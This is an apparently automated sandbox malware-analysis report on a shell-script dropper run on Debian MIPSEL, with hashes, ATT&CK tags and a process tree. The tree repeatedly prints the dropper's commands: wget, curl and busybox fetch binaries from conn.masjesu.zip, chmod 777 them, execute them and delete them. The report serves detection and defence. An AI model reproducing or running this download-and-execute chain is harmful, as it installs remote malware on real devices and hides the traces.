92f83770a965afd38b0796fbc25b88fd6b13a58c62851c212b85d90542cce1c3

Analysis

max time kernel
83s
max time network
85s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/11/2024, 02:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
92f83770a965afd38b0796fbc25b88fd6b13a58c62851c212b85d90542cce1c3.sh
Size 10KB
Sample241122-daw1tsypdn
SHA256 92f83770a965afd38b0796fbc25b88fd6b13a58c62851c212b85d90542cce1c3
MD5 bb487647636a4b10a6965c3ba51ca549
SHA1 9c53ac18f308c9df8397d949e59b3475b4783813
SHA512 c87ec3309df2371248049d5e3ae88837074ed684526fa0bf1f83c30a5565d7b629702d8baf1ff22d075a9f4c6c6895b127f52901cc7e192f27966b4a494e9cd2
SSDEEP 96:YWGrn7eJswicnjnXDLIEQLLnR5RnW04oxL1VzB5g1VZL050R0lU/J/h/2r/c6yOA:nbPQdxxC2Qe9H2
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
898	chmod
912	chmod
989	chmod
933	chmod
743	chmod
735	chmod
760	chmod
795	chmod
947	chmod
905	chmod
954	chmod
961	chmod
968	chmod
809	chmod
863	chmod
891	chmod
877	chmod
823	chmod
870	chmod
926	chmod
975	chmod
982	chmod
1003	chmod
856	chmod
884	chmod
919	chmod
940	chmod
996	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1002	busybox
840	curl
936	wget
874	curl
971	wget
979	curl
986	curl
993	curl
999	wget
774	curl
784	busybox
892	vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
918	busybox
932	busybox
934	vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
946	busybox
981	busybox
740	curl
767	wget
867	curl
869	busybox
873	wget
897	busybox
925	busybox
965	curl
726	curl
754	busybox
974	busybox
985	wget
895	curl
922	wget
992	wget
876	busybox
880	wget
887	wget
915	wget
806	curl
829	wget
862	busybox
894	wget
890	busybox
901	wget
904	busybox
929	wget
747	curl
881	curl
908	wget
911	busybox
923	curl
930	curl
951	curl
866	wget
888	curl
883	busybox
935	rm
939	busybox
972	curl
1000	curl
817	busybox
859	wget
909	curl
916	curl
957	wget
964	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ	curl
File opened for modification	/tmp/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt	curl
File opened for modification	/tmp/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway	curl
File opened for modification	/tmp/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1	curl
File opened for modification	/tmp/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway	curl
File opened for modification	/tmp/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ	curl
File opened for modification	/tmp/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo	curl
File opened for modification	/tmp/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj	curl
File opened for modification	/tmp/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc	curl
File opened for modification	/tmp/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt	curl
File opened for modification	/tmp/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld	curl
File opened for modification	/tmp/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n	curl
File opened for modification	/tmp/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc	curl
File opened for modification	/tmp/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo	curl
File opened for modification	/tmp/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj	curl
File opened for modification	/tmp/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX	curl
File opened for modification	/tmp/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3	curl
File opened for modification	/tmp/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n	curl
File opened for modification	/tmp/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX	curl
File opened for modification	/tmp/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI	curl
File opened for modification	/tmp/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1	curl
File opened for modification	/tmp/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht	curl
File opened for modification	/tmp/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4	curl
File opened for modification	/tmp/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4	curl
File opened for modification	/tmp/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht	curl
File opened for modification	/tmp/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI	curl
File opened for modification	/tmp/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3	curl
File opened for modification	/tmp/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld	curl

/tmp/92f83770a965afd38b0796fbc25b88fd6b13a58c62851c212b85d90542cce1c3.sh
/tmp/92f83770a965afd38b0796fbc25b88fd6b13a58c62851c212b85d90542cce1c3.sh
1⤵
PID:705
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  PID:711
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  PID:733
- /bin/chmod
  chmod 777 qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  ./qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - Executes dropped EXE
  PID:736
- /bin/rm
  rm qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  PID:738
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  PID:739
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  PID:742
- /bin/chmod
  chmod 777 bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  ./bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  PID:745
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - System Network Configuration Discovery
  PID:754
- /bin/chmod
  chmod 777 9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  ./9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm 9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  PID:765
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - System Network Configuration Discovery
  PID:767
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:774
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - System Network Configuration Discovery
  PID:784
- /bin/chmod
  chmod 777 73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  ./73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - Executes dropped EXE
  PID:796
- /bin/rm
  rm 73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  PID:799
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  PID:808
- /bin/chmod
  chmod 777 hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  ./hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  PID:811
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - System Network Configuration Discovery
  PID:817
- /bin/chmod
  chmod 777 K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  ./K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  PID:828
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - System Network Configuration Discovery
  PID:829
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  PID:855
- /bin/chmod
  chmod 777 LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  ./LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  PID:858
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - System Network Configuration Discovery
  PID:859
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - System Network Configuration Discovery
  PID:862
- /bin/chmod
  chmod 777 vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  ./vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  PID:865
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - System Network Configuration Discovery
  PID:866
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - System Network Configuration Discovery
  PID:869
- /bin/chmod
  chmod 777 L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  ./L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  PID:872
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - System Network Configuration Discovery
  PID:873
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - System Network Configuration Discovery
  PID:876
- /bin/chmod
  chmod 777 jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  ./jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  PID:879
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - System Network Configuration Discovery
  PID:880
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - System Network Configuration Discovery
  PID:883
- /bin/chmod
  chmod 777 1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  ./1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm 1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  PID:886
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - System Network Configuration Discovery
  PID:887
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - System Network Configuration Discovery
  PID:890
- /bin/chmod
  chmod 777 vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  ./vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:892
- /bin/rm
  rm vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  PID:893
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - System Network Configuration Discovery
  PID:894
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - System Network Configuration Discovery
  PID:897
- /bin/chmod
  chmod 777 8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  ./8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm 8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  PID:900
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - System Network Configuration Discovery
  PID:901
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - System Network Configuration Discovery
  PID:904
- /bin/chmod
  chmod 777 FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  ./FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  PID:907
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - System Network Configuration Discovery
  PID:908
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - System Network Configuration Discovery
  PID:911
- /bin/chmod
  chmod 777 8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  ./8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm 8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  PID:914
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - System Network Configuration Discovery
  PID:915
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - System Network Configuration Discovery
  PID:918
- /bin/chmod
  chmod 777 FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  ./FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  PID:921
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - System Network Configuration Discovery
  PID:922
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - System Network Configuration Discovery
  PID:925
- /bin/chmod
  chmod 777 1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  ./1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm 1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  PID:928
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - System Network Configuration Discovery
  PID:929
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - System Network Configuration Discovery
  PID:932
- /bin/chmod
  chmod 777 vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  ./vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:934
- /bin/rm
  rm vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - System Network Configuration Discovery
  PID:935
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - System Network Configuration Discovery
  PID:936
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - System Network Configuration Discovery
  PID:939
- /bin/chmod
  chmod 777 9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  ./9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm 9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  PID:942
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  PID:943
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - System Network Configuration Discovery
  PID:946
- /bin/chmod
  chmod 777 73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  ./73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm 73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  PID:949
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  PID:950
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  PID:953
- /bin/chmod
  chmod 777 qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  ./qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  PID:956
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - System Network Configuration Discovery
  PID:957
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  PID:960
- /bin/chmod
  chmod 777 bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  ./bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
